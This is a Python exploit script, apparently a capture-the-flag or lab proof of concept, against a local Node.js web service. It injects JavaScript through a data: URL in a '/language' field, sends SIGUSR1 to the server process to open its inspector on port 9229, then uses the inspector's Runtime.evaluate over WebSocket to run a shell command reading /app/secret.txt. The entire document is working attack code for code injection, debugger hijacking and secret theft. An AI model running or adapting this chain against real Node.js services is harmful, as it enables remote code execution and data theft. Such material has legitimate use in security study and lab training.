#!/usr/bin/env python3 import requests import urllib.parse import time BASE = "http://localhost:8000" def inject(js: str, timeout: int = 20) -> dict: lang = "data:text/javascript," + urllib.parse.quote(js.strip(), safe='!#$&()*+/:;=?@_~') + "//" r = requests.post(f"{BASE}/language", json={"lang": lang}, timeout=timeout) try: return r.json().get('default', {}) except Exception: return {"raw": r.text} # step 1 : get target PID resp = requests.get(f"{BASE}/pid") pid = resp.json()["pid"] print(f"TARGET PID : {pid}") #real poc starts here #step 2 : kill this process with SIGUSR1 to trigger the CDP debugger (listening on 127.0.0.1:9229) step2_payload = f""" process.kill({pid}, 'SIGUSR1'); export default {{ signal: 'SIGUSR1', sent_to: {pid} }}; """ result = inject(step2_payload) print(f"Response step 2 : {result}") #let the process receive the signal and start the debugger time.sleep(1) #step 3 : connect to the CDP debugger and execute RCE step3_payload = r""" await new Promise(r => setTimeout(r, 400)); const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json(); const result = await new Promise(resolve => { const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`); ws.onopen = () => ws.send(JSON.stringify({ id: 1, method: 'Runtime.evaluate', params: { expression: `process.mainModule.require('child_process').execSync('cat /app/secret.txt').toString()`, returnByValue: true } })); ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); }; }); export default result; """ result = inject(step3_payload, timeout=15) try: secret = result['result']['result']['value'] print(f"SECRET : {secret.strip()}") except Exception as e: print(f"\n[-] Parsing error : {e}") print(f" Raw : {result}")